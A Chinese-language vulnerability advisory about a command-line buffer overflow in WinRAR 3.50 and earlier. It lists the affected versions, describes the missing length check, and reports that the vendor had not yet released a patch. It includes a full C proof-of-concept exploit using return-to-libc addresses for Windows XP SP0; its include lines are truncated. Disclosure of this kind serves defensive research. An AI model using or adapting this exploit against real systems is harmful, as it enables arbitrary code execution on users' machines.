RARLAB WinRAR命令行处理溢出漏洞
受影响系统:
RARLAB WinRar 3.50
RARLAB WinRar 3.42
RARLAB WinRar 3.41
RARLAB WinRar 3.40
RARLAB WinRar 3.20
RARLAB WinRar 3.11
RARLAB WinRar 3.10 beta 5
RARLAB WinRar 3.10 beta 3
RARLAB WinRar 3.10
RARLAB WinRar 3.0.0
RARLAB WinRar 3.0
RARLAB WinRar 2.90
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 15123
WinRar是非常流行的压缩/解压工具。
WinRar对命令行的处理存在溢出漏洞,攻击者可能利用这个漏洞远程执行任意代码。
由于在将用户提供的字符串拷贝到静态进程缓冲区之前没有正确的验证其长度,RARLAB WinRAR在处理命令行时存在远程客户端溢出漏洞。
<*来源:edward11 (edward11@postmaster.co.uk)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112958942110272&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include
#include
#include
int main ( int argc, char *argv[] )
{
long sys_addr = 0x77C18044; // winxp sp0 targets...
long exit_addr = 0x77C27ADC;
long cmd_addr = 0x77C01335;
char buf[3000];
char cmd[3000];
if ( argc < 2 )
{
printf("\n * 0xLeTzDanCe - WinRAR <= 3.50 local exploit ENG version *\n * * \
usage: 0xletzdance.exe \n\n"); exit(0);
}
memset(buf, 0x00, 3000);
memset(cmd, 0x00, 3000);
memset(buf, 0x55, 516);
*(long*)&buf[strlen(buf)] = sys_addr;
*(long *)&buf[strlen(buf)] = exit_addr;
*(long *)&buf[strlen(buf)] = cmd_addr;
sprintf(cmd, "%s %s", argv[1], buf);
system(cmd);
}
建议:
--------------------------------------------------------------------------------
厂商补丁:
RARLAB
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.rarlabs.com
|